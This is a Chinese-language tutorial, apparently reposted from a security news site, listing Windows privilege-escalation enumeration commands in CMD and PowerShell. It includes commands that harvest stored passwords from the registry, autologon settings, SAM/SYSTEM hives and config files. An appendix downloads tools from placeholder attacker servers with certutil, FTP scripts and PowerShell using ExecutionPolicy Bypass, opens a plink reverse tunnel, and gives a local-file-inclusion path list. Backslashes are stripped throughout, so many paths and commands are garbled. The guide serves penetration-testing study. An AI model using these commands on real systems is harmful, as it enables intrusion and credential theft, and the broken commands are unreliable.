當前位置:
首頁 > 新聞 > Windows 提權命令指南

Windows 提權命令指南

介紹

特權升級總是被歸結為適當的枚舉。但要完成適當的枚舉,你需要知道要檢查和查找的內容。這通常需要伴隨著經驗的豐富而對系統非常熟悉。起初特權升級看起來像是一項艱巨的任務,但過了一段時間,你就開始過濾哪些是正常的東西,而哪些不是正常的東西。最終變得更容易,因為你知道要尋找什麼了,而不是挖掘希望在乾草堆中找到那根針的所有東西。希望本指南能為你的入門提供良好的基礎知識。

本指南受到了g0tm1lk發表的基本的Linux提權姿勢的文章的影響,在某些時候,你應該已經看到並使用了該指南。我想試圖反映他的指導,除了Windows。所以本指南主要集中在枚舉方面。

註:我不是專家,仍然在學習當中。

指南概述

在每個部分中,我首先提供老的可靠的CMD命令,然後是一個Powershell實現的的等價命令。同時擁有這兩種工具是非常好的,Powershell比傳統的CMD更加靈活。然而,沒有一個Powershell命令能等價於所有東西(或者CMD在某些事情上仍然更簡單更好),所以一些部分將只包含常規的CMD命令。

操作系統

操作系統類型和架構?它是否缺少任何補丁?

systeminfo

wmic qfe

環境變數有什麼有趣的地方嗎?域控制器在LOGONSERVER?

set

Get-ChildItem Env: | ft Key,Value

有沒有其他連接的驅動器?

net use

wmic logicaldisk get caption,description,providername

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.CoreFileSystem"}| ft Name,Root

用戶

你是誰?

whoami

echo %USERNAME%

$env:UserName

系統上有哪些用戶?任何舊的用戶配置文件沒有被清理掉?

net users

dir /b /ad "C:Users"

dir /b /ad "C:Documents and Settings" # Windows XP and below

Get-LocalUser | ft Name,Enabled,LastLogon

Get-ChildItem C:Users -Force | select Name

是否有其他人登錄?

qwinsta

系統上有哪些用戶組?

net localgroup

Get-LocalGroup | ft Name

在管理員組中有哪些用戶?

net localgroup Administrators

Get-LocalGroupMember Administrators | ft Name, PrincipalSource

用戶自動登錄對應的註冊表中有些什麼內容?

reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinLogon" | select "Default*"

Credential Manager中有什麼有趣的東西?

cmdkey /list

我們可以訪問SAM和SYSTEM文件嗎?

%SYSTEMROOT%
epairSAM

%SYSTEMROOT%System32configRegBackSAM

%SYSTEMROOT%System32configSAM

%SYSTEMROOT%
epairsystem

%SYSTEMROOT%System32configSYSTEM

%SYSTEMROOT%System32configRegBacksystem

程序,進程和服務

系統都安裝了些什麼軟體?

dir /a "C:Program Files"

dir /a "C:Program Files (x86)"

reg query HKEY_LOCAL_MACHINESOFTWARE

Get-ChildItem "C:Program Files", "C:Program Files (x86)" | ft Parent,Name,LastWriteTime

Get-ChildItem -path Registry::HKEY_LOCAL_MACHINESOFTWARE | ft Name

有沒有許可權設置的比較脆弱的文件夾或文件的許可權?

在程序文件夾中(Program Folders)有哪些文件或文件夾賦予了所有人(Everyone)或用戶(User)的完全許可權?

icacls "C:Program Files*" 2>nul | findstr "(F)" | findstr "Everyone"

icacls "C:Program Files (x86)*" 2>nul | findstr "(F)" | findstr "Everyone"

icacls "C:Program Files*" 2>nul | findstr "(F)" | findstr "BUILTINUsers"

icacls "C:Program Files (x86)*" 2>nul | findstr "(F)" | findstr "BUILTINUsers"

修改程序文件夾(Program Folders)中的所有人(Everyone)或用戶(User)的許可權?

icacls "C:Program Files*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:Program Files (x86)*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:Program Files*" 2>nul | findstr "(M)" | findstr "BUILTINUsers"

icacls "C:Program Files (x86)*" 2>nul | findstr "(M)" | findstr "BUILTINUsers"

Get-ChildItem "C:Program Files*","C:Program Files (x86)*" | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match "Everyone"} } catch {}}

Get-ChildItem "C:Program Files*","C:Program Files (x86)*" | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match "BUILTINUsers"} } catch {}}

你也可以上傳Sysinternals中的accesschk來檢查可寫文件夾和文件。

accesschk.exe -qwsu "Everyone" *

accesschk.exe -qwsu "Authenticated Users" *

accesschk.exe -qwsu "Users" *

系統上正在運行的進程/服務有哪些?有沒有暴露的內部服務?如果是這樣,我們可以打開它嗎?請參閱附錄中的埠轉發。

tasklist /svc

tasklist /v

net start

sc query

Get-Process | ft ProcessName,Id

Get-Service

是否存在任何脆弱的服務許可權?我們可以重新配置什麼嗎?你可以再次上傳accesschk來檢查許可權。

accesschk.exe -uwcqv "Everyone" *

accesschk.exe -uwcqv "Authenticated Users" *

accesschk.exe -uwcqv "Users" *

有沒有引用的服務路徑?

wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:Windows" 2>nul |findstr /i /v """

是否設置了計劃任務?任何自定義實現的計劃任務?

schtasks /query /fo LIST 2>nul | findstr TaskName

dir C:windows asks

Get-ScheduledTask | ft TaskName, State

系統啟動時都運行了些什麼?

wmic startup get caption,command

reg query HKLMSoftwareMicrosoftWindowsCurrentVersionRun

reg query HKLMSoftwareMicrosoftWindowsCurrentVersionRunOnce

reg query HKCUSoftwareMicrosoftWindowsCurrentVersionRun

reg query HKCUSoftwareMicrosoftWindowsCurrentVersionRunOnce

dir "C:Documents and SettingsAll UsersStart MenuProgramsStartup"

dir "C:Documents and Settings\%username%Start MenuProgramsStartup"

Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl

Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun"

Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce"

Get-ItemProperty -Path "Registry::HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun"

Get-ItemProperty -Path "Registry::HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce"

Get-ChildItem "C:UsersAll UsersStart MenuProgramsStartup"

Get-ChildItem "C:Users$env:USERNAMEStart MenuProgramsStartup"

AlwaysInstallElevated是否啟用?我沒有跑過這個,但沒有傷害檢查。

reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated

網路

連接到了哪一塊網卡?是否有多個網路?

ipconfig /all

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address

我們有哪些網路路線?

route print

Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP緩存中有什麼?

arp -a

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

是否有連接到其他主機的網路連接?

netstat -ano

hosts文件中的任何東西?

C:WINDOWSSystem32driversetchosts

防火牆是否打開?如果是又是怎樣配置的?

netsh firewall show state

netsh firewall show config

netsh advfirewall firewall show rule name=all

netsh advfirewall export "firewall.txt"

任何其他有趣的介面配置?

netsh dump

有沒有SNMP配置?

reg query HKLMSYSTEMCurrentControlSetServicesSNMP /s

Get-ChildItem -path HKLM:SYSTEMCurrentControlSetServicesSNMP -Recurse

有趣的文件和敏感信息

這部分內容的命令輸出可能有點雜亂,所以你可能想把命令的輸出重定向到txt文件中進行審查和解析。

在註冊表中是否有任何密碼?

reg query HKCU /f password /t REG_SZ /s

reg query HKLM /f password /t REG_SZ /s

查看是否存在沒有清理掉的sysprep或unattended文件?

dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Get-Childitem –Path C: -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

如果伺服器是IIS網路伺服器,那麼inetpub中有什麼?以及任何隱藏的目錄?web.config文件?

dir /a C:inetpub

dir /s web.config

C:WindowsSystem32inetsrvconfigapplicationHost.config

Get-Childitem –Path C:inetpub -Include web.config -File -Recurse -ErrorAction SilentlyContinue

在IIS日誌目錄中有些什麼文件?

C:inetpublogsLogFilesW3SVC1u_ex[YYMMDD].log

C:inetpublogsLogFilesW3SVC2u_ex[YYMMDD].log

C:inetpublogsLogFilesFTPSVC1u_ex[YYMMDD].log

C:inetpublogsLogFilesFTPSVC2u_ex[YYMMDD].log

是否安裝了XAMPP,Apache或PHP?任何有XAMPP,Apache或PHP配置文件?

dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf

Get-Childitem –Path C: -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue

系統中是否存在任何Apache網路日誌?

dir /s access.log error.log

Get-Childitem –Path C: -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

系統中是否任何有趣的文件?可能在用戶目錄(桌面,文檔等)?

dir /s *pass* == *vnc* == *.config* 2>nulGet-Childitem –Path C:Users -Include *password*,*vnc*,*.config -File -Recurse -ErrorAction SilentlyContinue

系統中是否有包含密碼的文件?

findstr /si password *.xml *.ini *.txt *.config 2>nul

Get-ChildItem C:* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"

附錄

傳輸文件

在特權升級過程中的某個時候,你需要將文件放到你的目標上。下面是一些簡單的方法來做到這一點。

Powershell Cmdlet(Powershell 3.0及更高版本)

Invoke-WebRequest "https://myserver/filename" -OutFile "C:WindowsTempfilename"

Powershell一行代碼實現方法:

(New-Object System.Net.WebClient).DownloadFile("https://myserver/filename", "C:WindowsTempfilename")

Powershell腳本

echo $webclient = New-Object System.Net.WebClient >>wget.ps1

echo $url = "http://IPADDRESS/file.exe" >>wget.ps1

echo $file = "output-file.exe" >>wget.ps1

echo $webclient.DownloadFile($url,$file) >>wget.ps1

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

通過文本文件的非互動式FTP。當你只有有限的命令執行時這很有用。

echo open 10.10.10.11 21> ftp.txt

echo USER username>> ftp.txt

echo mypassword>> ftp.txt

echo bin>> ftp.txt

echo GET filename>> ftp.txt

echo bye>> ftp.txt

ftp -v -n -s:ftp.txt

CERTUTIL

certutil.exe -urlcache -split -f https://myserver/filename outputfilename

轉發埠

這對於暴露機器外部不可用的內部服務非常有用,通常是由於防火牆設置。

上傳plink.exe到目標。

在攻擊機器上啟動SSH。

例如要公開SMB,在目標上運行:

plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS

注意:從Windows 10的秋季創作者更新版本開始,OpenSSH已經在Windows的beta版本中推出,所以我預計有一天我們可能只能使用普通的舊的SSH命令進行埠轉發,具體取決於是否啟用。

本地文件包含列表

這不是一個詳盡的列表,安裝目錄會有所不同,我只列出了一些常見的文件路徑。

C:Apacheconfhttpd.conf

C:Apachelogsaccess.log

C:Apachelogserror.log

C:Apache2confhttpd.conf

C:Apache2logsaccess.log

C:Apache2logserror.log

C:Apache22confhttpd.conf

C:Apache22logsaccess.log

C:Apache22logserror.log

C:Apache24confhttpd.conf

C:Apache24logsaccess.log

C:Apache24logserror.log

C:Documents and SettingsAdministratorNTUser.dat

C:phpphp.ini

C:php4php.ini

C:php5php.ini

C:php7php.ini

C:Program Files (x86)Apache GroupApacheconfhttpd.conf

C:Program Files (x86)Apache GroupApachelogsaccess.log

C:Program Files (x86)Apache GroupApachelogserror.log

C:Program Files (x86)Apache GroupApache2confhttpd.conf

C:Program Files (x86)Apache GroupApache2logsaccess.log

C:Program Files (x86)Apache GroupApache2logserror.log

c:Program Files (x86)phpphp.ini"

C:Program FilesApache GroupApacheconfhttpd.conf

C:Program FilesApache GroupApacheconflogsaccess.log

C:Program FilesApache GroupApacheconflogserror.log

C:Program FilesApache GroupApache2confhttpd.conf

C:Program FilesApache GroupApache2conflogsaccess.log

C:Program FilesApache GroupApache2conflogserror.log

C:Program FilesFileZilla ServerFileZilla Server.xml

C:Program FilesMySQLmy.cnf

C:Program FilesMySQLmy.ini

C:Program FilesMySQLMySQL Server 5.0my.cnf

C:Program FilesMySQLMySQL Server 5.0my.ini

C:Program FilesMySQLMySQL Server 5.1my.cnf

C:Program FilesMySQLMySQL Server 5.1my.ini

C:Program FilesMySQLMySQL Server 5.5my.cnf

C:Program FilesMySQLMySQL Server 5.5my.ini

C:Program FilesMySQLMySQL Server 5.6my.cnf

C:Program FilesMySQLMySQL Server 5.6my.ini

C:Program FilesMySQLMySQL Server 5.7my.cnf

C:Program FilesMySQLMySQL Server 5.7my.ini

C:Program Filesphpphp.ini

C:UsersAdministratorNTUser.dat

C:WindowsdebugNetSetup.LOG

C:WindowsPantherUnattendUnattended.xml

C:WindowsPantherUnattended.xml

C:Windowsphp.ini

C:Windows
epairSAM

C:Windows
epairsystem

C:WindowsSystem32configAppEvent.evt

C:WindowsSystem32configRegBackSAM

C:WindowsSystem32configRegBacksystem

C:WindowsSystem32configSAM

C:WindowsSystem32configSecEvent.evt

C:WindowsSystem32configSysEvent.evt

C:WindowsSystem32configSYSTEM

C:WindowsSystem32driversetchosts

C:WindowsSystem32winevtLogsApplication.evtx

C:WindowsSystem32winevtLogsSecurity.evtx

C:WindowsSystem32winevtLogsSystem.evtx

C:Windowswin.ini

C:xamppapacheconfextrahttpd-xampp.conf

C:xamppapacheconfhttpd.conf

C:xamppapachelogsaccess.log

C:xamppapachelogserror.log

C:xamppFileZillaFTPFileZilla Server.xml

C:xamppMercuryMailMERCURY.INI

C:xamppmysqlinmy.ini

C:xamppphpphp.ini

C:xamppsecuritywebdav.htpasswd

C:xamppsendmailsendmail.ini

C:xampp omcatconfserver.xml


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

繞過安卓SSL驗證證書的四種方式
暴雪遊戲存在嚴重遠程控制漏洞,數億用戶受影響

TAG:嘶吼RoarTalk |